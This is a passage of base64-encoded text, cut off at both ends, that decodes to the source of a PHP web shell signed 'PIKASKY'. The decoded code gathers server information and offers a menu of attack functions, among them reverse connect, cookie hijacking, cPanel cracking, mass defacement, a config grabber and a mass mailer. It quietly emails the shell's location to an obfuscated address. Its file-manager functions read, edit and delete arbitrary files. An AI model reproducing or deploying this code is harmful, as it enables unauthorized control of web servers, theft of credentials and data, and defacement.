2ZvbnQ+IFBvc3RHcmV5U1FMIDxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjtlY2hvIHBvc3RncmV5eCgpOw0KICAgICAgICAgICAgZWNobyAiPGJyIC8+Y1VSTCA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PiI7ZWNobyBjdXJseCgpOw0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9XCIjNjY2XCIgPiB8IDwvZm9udD5Ub3RhbCBTcGFjZTxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjsgZWNobyBkaXNjX3NpemUoKTsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L2ZvbnQ+RnJlZSBTcGFjZTxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjsgZWNobyBmcmVlc2l6ZSgpOw0KICAgICAgICAgICAgZWNobyAiPGJyIC8+U29mdHdhcmU8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250Pjxmb250IGNvbG9yPXJlZD57JHNydnJfc29mfTwvZm9udD48Zm9udCBjb2xvcj1cIiM2NjZcIiA+IHwgPC9mb250PiBQSFA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PjxhIHN0eWxlPSdjb2xvcjpyZWQ7IHRleHQtZGVjb3JhdGlvbjpub25lOycgdGFyZ2V0PV9ibGFuayBocmVmPT9waHBpbmZvPiIucGhwdmVyc2lvbigpLiI8L2E+DQogICAgICAgICAgICA8YnIgLz5EaXNhYmxlZCBGdW5jdGlvbnM8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PjwvZm9udD48Zm9udCBjb2xvcj1yZWQ+IjtlY2hvIGRpc2FibGVkX2Z1bmN0bnMoKS4iPC9mb250PjxiciAvPiI7DQogICAgICAgICAgICBpZigkb3MgPT0gJ3dpbicpeyBlY2hvICAiRHJpdmVzIDxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjtlY2hvICBkcml2ZXN4KCk7IH0NCiAgICAgICAgICAgIGVsc2UgeyBlY2hvICJyMDB0IEV4cGxvaXQgPGZvbnQgY29sb3I9XCIjNjY2XCIgPiA6IDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+IjsgZWNobyByMDB0X2V4cGxvaXQoKSAuIjwvZm9udD4iOyB9DQogICAgICAgICAgICBlY2hvICINCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICA8L3Rib2R5Pg0KPC90YWJsZT48L2Rpdj4iOw0KZWNobyAiPGRpdiBjbGFzcz0nbWVudWJhcic+IDxkaXYgaWQ9XCJtZXVubGlzdFwiPg0KPHVsPg0KPGxpPjxhIGhyZWY9XCI/XCI+SE9NRTwvYT48L2xpPg0KPGxpPjxhIGhyZWY9XCI/c3ltbGlua1wiPlN5bUxpbms8L2E+PC9saT4NCjxsaT48YSBocmVmPVwiP3JzXCI+KCgoIENvbm5lY3QgKSkpPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9jb29raWVqYWNrXCI+Q29va2llIEhpZ2hKYWNrPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9lbmNvZGVmaWxlXCI+UEhQIEVuY29kZS9EZWNvZGU8L2E+PC9saT4NCjxsaT48YSBocmVmPVwiP3BhdGg9eyRwYXRofSZhbXA7c2FmZV9tb2RcIj5TYWZlIE1vZGUgRnVja2VyPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9wYXRoPXskcGF0aH0mYW1wO2ZvcmJkX2RpclwiPkRpcmVjdG9yeSBMaXN0aW5nIEZvcmJpZGRlbjwvYT48L2xpPg0KPC91bD4NCjx1bD4NCjxsaT48YSBocmVmPVwiP21hc3NtYWlsZXJcIj5NYXNzIE1haWxlcjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9XCI/Y3BhbmVsX2NyYWNrXCI+Q1BBTkVMIENyYWNrPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9zZXJ2ZXJfZXhwbG9pdF9kZXRhaWxzXCI+RXhwbG9pdCBEZXRhaWxzPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9yZW1vdGVfc2VydmVyX3NjYW5cIj5SZW1vdGUgU2VydmVyIFNjYW48L2E+PC9saT4NCjxsaT48YSBocmVmPVwiP3JlbW90ZWZpbGVkb3duXCI+UmVtb3RlIEZpbGUgRG93bmxvYWRlcjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9XCI/aGV4ZW5jXCI+SGV4YSBFbmNvZGUvRGVjb2RlPC9hPjwvbGk+DQo8L3VsPg0KPHVsPg0KPGxpPjxhIGhyZWY9XCI/c2gzMTFfc2Nhbm5lclwiPlNIM0xMIFNjYW48L2E+PC9saT4NCjxsaT48YSBocmVmPVwiP3NzaG1hblwiPlNTSCBTaGVsbDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9XCI/cGF0aD17JHBhdGh9JmMwZGVfaW5qZWN0XCI+YzBkZSBpbmozY3Q8L2E+PC9saT4NCjxsaT48YSBocmVmPVwiP2Z0cG1hblwiPkZUUCBNYW5hZ2VyPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9mdHBfYW5vbl9zY2FuXCI+RlRQIEFub255bW91cyBBY2Nlc3MgU2NhbjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9XCI/cGF0aD17JHBhdGh9JmFtcDttYXNzX3hwbG9pdFwiPk1hc3MgRGVmYWNlPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9jb25maWdfZ3JhYlwiPkNvbmZpZyBHcmFiYmVyPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj1cIj9raWxsbWVcIj48Zm9udCBjb2xvcj1yZWQ+S2lsbCBNZTwvZm9udD48L2E+PC9saT4NCjwvdWw+DQo8L2Rpdj48L2Rpdj4iOw0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBFbmQgb2YgVG9wIE1lbnUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KDQoNCi8qLS0tLS0tLS0tLS0tLS0tIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tKi8NCmZ1bmN0aW9uIGFsZXJ0KCRhbGVydF90eHQpDQp7DQogICAgZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kYWxlcnRfdHh0LiInKTt3aW5kb3cubG9jYXRpb24uaHJlZj0nPyc7PC9zY3JpcHQ+IjsNCn0NCg0KZnVuY3Rpb24gZGlzYWJsZWRfZnVuY3RucygpDQp7DQogICAgaWYoIUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiTm9uZSI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQoJZWNobyBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiAgICB9DQp9DQoNCg0KZnVuY3Rpb24gZHJpdmVzeCgpDQp7DQogICAgZm9yZWFjaChyYW5nZSgnQScsJ1onKSBhcyAkZHJpdmUpDQogICAgew0KICAgICAgICBpZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGEgc3R5bGU9J2NvbG9yOmdyZWVuOyB0ZXh0LWRlY29yYXRpb246bm9uZTsnIGhyZWY9Jz9wYXRoPSIuJGRyaXZlLiI6XFwnPlsiLiRkcml2ZS4iXTwvYT4iOyANCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbWFpbF9hbGVydCgpDQp7ICAgDQogICAgJGVtYWlsID1nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc2FyKSk7IA0KICAgIGdsb2JhbCAkZW1haWwsICR5b3VyX2lwOw0KICAgICRzaGVsbF9wYXRoPSJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICAkY29udGVudF9tYWlsPSJIZWxsbyBNYXN0ZXIsXG4NCllvdXIgc2hlbGwgaW4gJHNoZWxsX3BhdGggaXMgYWNjZXNzZWQgYnkgIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIi4gSG9wZSBZb3UgRW5qb3kgdGhpcyBzaGVsbCB2ZXJ5IG11Y2guXG4NCkJ5IFBJS0FTS1kgIjsNCiAgICBtYWlsKCRlbWFpbCwgIlNoZWxsIEFjY2Vzc2VkISEhIiwgJGNvbnRlbnRfbWFpbCAsIkZyb206UElLQVNLWUBzaGVsbC5jb20iKTsNCn0NCg0KZnVuY3Rpb24gZmlsZXNpemV4KCRzaXplKQ0Kew0KICAgIGlmICgkc2l6ZT49MTA3Mzc0MTgyNCkkc2l6ZSA9IHJvdW5kKCgkc2l6ZS8xMDczNzQxODI0KSAsMikuIiBHQiI7DQogICAgZWxzZWlmICgkc2l6ZT49MTA0ODU3Nikkc2l6ZSA9IHJvdW5kKCgkc2l6ZS8xMDQ4NTc2KSwyKS4iIE1CIjsNCiAgICBlbHNlaWYgKCRzaXplPj0xMDI0KSRzaXplID0gcm91bmQoKCRzaXplLzEwMjQpLDIpLiIgS0IiOw0KICAgIGVsc2UgJHNpemUgLj0gIiBCIjsNCiAgICByZXR1cm4gJHNpemU7DQp9DQoNCmZ1bmN0aW9uIGRpc2Nfc2l6ZSgpDQp7DQogICAgZWNobyBmaWxlc2l6ZXgoZGlza190b3RhbF9zcGFjZSgiLyIpKTsNCn0NCg0KZnVuY3Rpb24gZnJlZXNpemUoKQ0Kew0KICAgIGVjaG8gZmlsZXNpemV4KGRpc2tfZnJlZV9zcGFjZSgiLyIpKTsNCn0NCg0KZnVuY3Rpb24gZmlsZV9wZXJtKCRmaWx6KXsNCglpZigkbT1maWxlcGVybXMoJGZpbHopKXsNCgkJJHA9Jyc7DQoJCSRwIC49ICgkbSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkJJHAgLj0gKCRtICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCQkkcCAuPSAoJG0gJiAwMDEwMCkgPyAneCcgOiAnLSc7DQoJCSRwIC49ICgkbSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCgkJJHAgLj0gKCRtICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCQkkcCAuPSAoJG0gJiAwMDAxMCkgPyAneCcgOiAnLSc7DQoJCSRwIC49ICgkbSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkJJHAgLj0gKCRtICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCQkkcCAuPSAoJG0gJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoJCXJldHVybiAkcDsNCgl9DQoJZWxzZSByZXR1cm4gIj8/Pz8/IjsNCn0NCg0KDQpmdW5jdGlvbiBteXNxbHgoKQ0Kew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpc2FibGVkPC9mb250PiI7DQogICAgfSAgIA0KfQ0KDQpmdW5jdGlvbiBvcmFjbGVzeCgpDQp7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpc2FibGVkPC9mb250PiI7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBtc3NxbHgoKQ0Kew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpc2FibGVkPC9mb250PiI7DQogICAgfSAgIA0KfQ0KDQpmdW5jdGlvbiBwb3N0Z3JleXgoKQ0Kew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpc2FibGVkPC9mb250PiI7DQogICAgfSANCn0NCg0KZnVuY3Rpb24gc3RyaXAoJGZpbHgpDQp7DQogICAgaWYoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkZmlseCkpOw0KICAgIHJldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJGZpbHgpKSk7DQp9DQoNCmZ1bmN0aW9uIGN1cmx4KCkNCnsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkRpc2FibGVkPC9mb250PiI7DQogICAgfSANCn0NCg0KZnVuY3Rpb24gZmlsZXNpemVfeCgkZmlsZXgpDQp7DQogICAgJGZfc2l6ZT1maWxlc2l6ZXgoZmlsZXNpemUoJGZpbGV4KSk7DQogICAgcmV0dXJuICRmX3NpemU7DQp9DQoNCmZ1bmN0aW9uIHJlbmFtZV91aSgpDQp7DQogICAgJHJmX3BhdGg9JF9HRVRbJ3JlbmFtZSddOw0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlJlbmFtZTwvaDI+PGhyIC8+PHA+PGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdHRVQnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdvbGRfbmFtZScgc2l6ZT0nNDAnIHZhbHVlPSIuJHJmX3BhdGguIj5OZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSduZXdfbmFtZScgc2l6ZT0nNDAnIHZhbHVlPSIuYmFzZW5hbWUoJHJmX3BhdGgpLiI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+PiAgICcgLz48L2Zvcm0+PC9wPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvY2VudGVyPjwvZGl2PiI7DQp9DQoNCmZ1bmN0aW9uIGZpbGVtYW5hZ2VyX2JnKCkNCnsNCiAgICBnbG9iYWwgJHNlcCwgJHNlbGY7DQogICAgJHBhdGg9IWVtcHR5KCRfR0VUWydwYXRoJ10pPyRfR0VUWydwYXRoJ106Z2V0Y3dkKCk7DQogICAgJGRpcnM9YXJyYXkoKTsNCiAgICAkZmlscz1hcnJheSgpOw0KICAgIGlmKGlzX2RpcigkcGF0aCkpDQogICAgew0KICAgICAgICBjaGRpcigkcGF0aCk7DQogICAgICAgIGlmKCRoYW5kbGU9b3BlbmRpcigkcGF0aCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIHdoaWxlKCgkaXRlbT1yZWFkZGlyKCRoYW5kbGUpKSE9PUZBTFNFKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmKCRpdGVtPT0iLiIpe2NvbnRpbnVlO30NCiAgICAgICAgICAgICAgICBpZigkaXRlbT09Ii4uIil7Y29udGludWU7fQ0KICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkaXRlbSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRkaXJzLCAkcGF0aC4kc2VwLiRpdGVtKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkZmlscywgJHBhdGguJHNlcC4kaXRlbSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIHRoaXMgb3BlcmF0aW9uIik7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgYWxlcnQoIkRpcmVjdG9yeSBOb3QgRm91bmQhISEiKTsNCiAgICB9DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PHRhYmxlIGNsYXNzPXRhYmxlPg0KICAgIDx0cj4NCiAgICA8dGggd2lkdGg9JzUwMHB4Jz5OYW1lPC90aD4NCiAgICA8dGggd2lkdGg9JzEwMHB4Jz5TaXplPC90aD4NCiAgICA8dGggd2lkdGg9JzEwMHB4Jz5QZXJtaXNzaW9uczwvdGg+DQogICAgPHRoIHdpZHRoPSc1MDBweCc+QWN0aW9uczwvdGg+DQogICAgPC90cj4iOw0KICAgIGZvcmVhY2goJGRpcnMgYXMgJGRpcikNCiAgICB7DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj0neyRzZWxmfT9wYXRoPXskZGlyfSc+Ii5iYXNlbmFtZSgkZGlyKS4iPC9hPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD4iLmZpbGVzaXplX3goJGRpcikuIjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48YSBocmVmPSd7JHNlbGZ9P3BhdGg9eyRwYXRofSZhbXA7cGVybT17JGRpcn0nPiIuZmlsZV9wZXJtKCRkaXIpLiI8L2E+PC90ZD4NCiAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtkZWxfZGlyPXskZGlyfSc+RGVsZXRlPC9hPiB8IDxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtyZW5hbWU9eyRkaXJ9Jz5SZW5hbWU8L2E+PC90ZD48L3RyPiI7DQogICAgfQ0KICAgIGZvcmVhY2goJGZpbHMgYXMgJGZpbCkNCiAgICB7DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0mYW1wO3JlYWQ9eyRmaWx9Jz4iLmJhc2VuYW1lKCRmaWwpLiI8L2E+PC90ZD4NCiAgICAgICAgICAgICAgPHRkPiIuZmlsZXNpemVfeCgkZmlsKS4iPC90ZD4NCiAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9J3skc2VsZn0/cGF0aD17JHBhdGh9JmFtcDtwZXJtPXskZmlsfSc+Ii5maWxlX3Blcm0oJGZpbCkuIjwvYT48L3RkPg0KICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0mYW1wO2RlbF9maWw9eyRmaWx9Jz5EZWxldGU8L2E+IHwgPGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0mYW1wO3JlbmFtZT17JGZpbH0nPlJlbmFtZTwvYT4gfCA8YSBocmVmPSd7JHNlbGZ9P3BhdGg9eyRwYXRofSZhbXA7ZWRpdD17JGZpbH0nPkVkaXQ8L2E+IHwgPGEgaHJlZj0neyRzZWxmfT9wYXRoPXskcGF0aH0mYW1wO2NvcHk9eyRmaWx9Jz5Db3B5PC9hPiAgPC90ZD4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RyPjwvdGFibGU+PC9kaXY+IjsNCn0NCg0KZnVuY3Rpb24gcmVuYW1lX2JnKCkNCnsNCiAgICBpZihpc3NldCgkX0dFVFsnb2xkX25hbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19uYW1lJ10pKQ0KICAgIHsNCiAgICAgICAgJG9fcl9wYXRoPWJhc2VuYW1lKCRfR0VUWydvbGRfbmFtZSddKTsNCiAgICAgICAgJHJfcGF0aD1zdHJfcmVwbGFjZSgkb19yX3BhdGgsICIiLCAkX0dFVFsnb2xkX25hbWUnXSk7DQogICAgICAgICRyX25ld19uYW1lPSRyX3BhdGguJF9HRVRbJ25ld19uYW1lJ107DQogICAgICAgIGVjaG8gJHJfbmV3X25hbWU7DQogICAgICAgIGlmKHJlbmFtZSgkX0dFVFsnb2xkX25hbWUnXSwgJHJfbmV3X25hbWUpPT1GQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIHRoaXMgYWN0aW9uISEhIik7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiUmVuYW1lZCBGaWxlIFN1Y2NlZXNzZnVsbHkiKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZWRpdF9maWxlKCkNCnsNCiAgICAkcGF0aD0kX0dFVFsncGF0aCddOw0KICAgIGNoZGlyKCRwYXRoKTsNCiAgICAkZWR0X2ZpbGU9JF9HRVRbJ2VkaXQnXTsNCiAgICAkZV9jb250ZW50ID0gd29yZHdyYXAoaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkZWR0X2ZpbGUpKSk7DQogICAgaWYoJGVfY29udGVudCkNCiAgICB7DQogICAgICAgICRvX2NvbnRlbnQ9JGVfY29udGVudDsNCiAgICB9DQogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKQ0KICAgIHsNCiAgICAgICAgJGZkID0gZm9wZW4oJGVkdF9maWxlLCAicmIiKTsNCglpZighJGZkKQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsNCiAgICAgICAgfQ0KCWVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGZkKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkb19jb250ZW50PXdvcmR3cmFwKGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGZkKSkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGZjbG9zZSgkZmQpOw0KICAgIH0NCiAgICBlY2hvICI8ZGl2IGlkPSdyZXN1bHQnPjxjZW50ZXI+PGgyPkVkaXQgRmlsZTwvaDI+PGhyIC8+PC9jZW50ZXI+PGJyIC8+PGZvbnQgY29sb3I9cmVkPlZpZXcgRmlsZTwvZm9udD4gOiA8Zm9udCBjb2xvcj1ncmVlbj48YSBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOm5vbmU7IGNvbG9yOmdyZWVuOycgaHJlZj0nP3JlYWQ9Ii4kX0dFVFsnZWRpdCddLiInPiIuICBiYXNlbmFtZSgkX0dFVFsnZWRpdCddKSAgLiI8L2E+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PC9mb250Pjxmb3JtIG1ldGhvZD0nUE9TVCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZV9maWxlJyB2YWx1ZT0iLiRfR0VUWydlZGl0J10uIj4NCiAgICAgICAgICA8Y2VudGVyPjx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY2xhc3M9J3RleHRhcmVhX2VkaXQnIG5hbWU9J2VfY29udGVudF9uJyBjb2xzPSc4MCcgcm93cz0nMjUnPiIuJG9fY29udGVudC4iPC90ZXh0YXJlYT48L2NlbnRlcj48aHIgLz4NCiAgICAgICAgICA8aW5wdXQgY2xhc3M9J2lucHV0X2JpZycgbmFtZT0nc2F2ZScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgU2F2ZSAgICcgLz48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KfQ0KZnVuY3Rpb24gZWRpdF9maWxlX2JnKCkNCnsNCiAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ2VfZmlsZSddKSkNCiAgICB7DQogICAgICAgICRoYW5kbGUgPSBmb3BlbigkX1BPU1RbJ2VfZmlsZSddLCJ3KyIpOw0KCWlmICghaGFuZGxlKQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsNCiAgICAgICAgfQ0KCWVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsJF9QT1NUWydlX2NvbnRlbnRfbiddKTsNCiAgICAgICAgICAgIGFsZXJ0KCJZb3VyIGNoYW5nZXMgd2VyZSBTdWNjZXNzZnVsbHkgU2F2ZWQhIik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBhbGVydCgiRmlsZSBOb3QgRm91bmQhISEiKTsNCiAgICB9DQp9DQpmdW5jdGlvbiBkZWxldGVfZmlsZSgpDQp7DQogICAgJGRlbF9maWxlPSRfR0VUWydkZWxfZmlsJ107DQogICAgaWYodW5saW5rKCRkZWxfZmlsZSkgIT0gRkFMU0UpDQogICAgew0KICAgICAgICBhbGVydCgiRGVsZXRlZCBTdWNjZXNzZnVsbHkiKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5pZWQgZm9yIHRoaXMgT3BlcmF0aW9uIik7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gZGVsZGlycygkZF9kaXIpDQp7DQogICAgJGRfZmlsZXM9IGdsb2IoJGRfZGlyLicqJywgR0xPQl9NQVJLKTsNCiAgICBmb3JlYWNoKCRkX2ZpbGVzIGFzICRkX2ZpbGUpDQogICAgew0KICAgICAgICBpZihpc19kaXIoJGRfZmlsZSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGRlbGRpcnMoJGRfZmlsZSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICB1bmxpbmsoJGRfZmlsZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYoaXNfZGlyKCRkX2RpcikpDQogICAgew0KICAgICAgICBpZihybWRpcigkZF9kaXIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiRGVsZXRlZCBEaXJlY3RvcnkgU3VjY2Vzc2Z1bGx5Iik7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiQWNjZXNzIERlbmllZCBmb3IgdGhpcyBPcGVyYXRpb24iKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY29kZV92aWV3ZXIoKQ0Kew0KICAgICRwYXRoPSRfR0VUWydwYXRoJ107DQogICAgJHJfZmlsZT0kX0dFVFsncmVhZCddOw0KICAgICRyX2NvbnRlbnQgPSB3b3Jkd3JhcChodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRyX2ZpbGUpKSk7DQogICAgaWYoJHJfY29udGVudCkNCiAgICB7DQogICAgICAgICRycl9jb250ZW50PSRyX2NvbnRlbnQ7DQogICAgfQ0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkNCiAgICB7DQogICAgICAgICRmZCA9IGZvcGVuKCRyX2ZpbGUsICJyYiIpOw0KCWlmICghJGZkKQ0KICAgICAgICB7DQogICAgICAgICAgICBhbGVydCgiUGVybWlzc2lvbiBEZW5pZWQiKTsNCiAgICAgICAgfQ0KCWVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGZkKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcnJfY29udGVudD13b3Jkd3JhcChodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRmZCkpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmY2xvc2UoJGZkKTsNCiAgICB9DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+VmlldyBGaWxlPC9oMj48L2NlbnRlcj48aHIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQ+RWRpdCBGaWxlPC9mb250Pjxmb250IGNvbG9yPWdyZWVuPiA6IDwvZm9udD48Zm9udCBjb2xvcj0jOTk5PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Z3JlZW47JyBocmVmPSc/cGF0aD17JHBhdGh9JmFtcDtlZGl0PSIuJF9HRVRbJ3JlYWQnXS4iJz4iLiAgYmFzZW5hbWUoJF9HRVRbJ3JlYWQnXSkgIC4i